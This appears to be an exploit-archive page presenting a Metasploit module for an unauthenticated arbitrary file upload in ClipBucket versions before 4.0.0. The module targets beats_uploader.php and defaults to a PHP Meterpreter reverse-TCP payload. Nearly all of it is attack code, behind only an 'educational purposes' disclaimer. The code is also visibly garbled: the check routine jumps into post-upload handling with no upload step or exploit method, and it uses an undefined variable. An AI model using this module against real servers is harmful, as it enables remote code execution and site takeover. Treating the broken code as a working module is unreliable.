Exploits / Vulnerability Discovered : 2018-03-27 |
Type : webapps |
Platform : php
This exploit / vulnerability Clipbucket beats_uploader arbitrary file upload (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload",
'Description' => %q{
This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902).
A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability.
It is possible for an attacker to upload a malicious script to issue operating system commands.
This issue is caused by improper session handling in /action/beats_uploader.php file.
This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux.
},
'License' => MSF_LICENSE,
'Author' =>
[
'www.sec-consult.com', # Vulnerability Discovery, PoC
'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit module
],
'References' =>
[
[ 'EDB', '44250' ]
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Clipbucket < 4.0.0 - Release 4902', {}]
],
'Privileged' => false,
'DisclosureDate' => "Mar 03 2018",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])
])
end
def uri
return target_uri.path
end
def check
vprint_status('Trying to detect ClipBucket on target.')
# check for readme file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'readme')
})
unless res
vprint_error('Connection failed')
return CheckCode::Unknown
end
unless res.code == 200 && res.body.include?('ClipBucket')
vprint_error('Could not find readme')
return CheckCode::Safe
end
# check for beats_uploader.php file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php')
})
unless res
vprint_error('Connection failed')
return CheckCode::Unknown
end
unless res.code == 200
vprint_error('Could not find beats_uploader.php')
return CheckCode::Safe
end
# If the server returns 200 and success yes, we assume we uploaded the malicious
# file successfully
unless res && res.code == 200 && jsonres['success'] == 'yes'
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
end
print_good('Looking For Payload..')
pdir = jsonres['file_directory']
file_name = jsonres['file_name']
pext = jsonres['extension']
print_good("found payload in /actions/#{pdir}/#{file_name}.#{pext}")
# Payload name
pname = "#{file_name}.php"
# Cleanup is Good Idea .
register_files_for_cleanup(pname)
# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either.
if res && res.code != 200
print_error('Unexpected response, probably the exploit failed')
end
end
end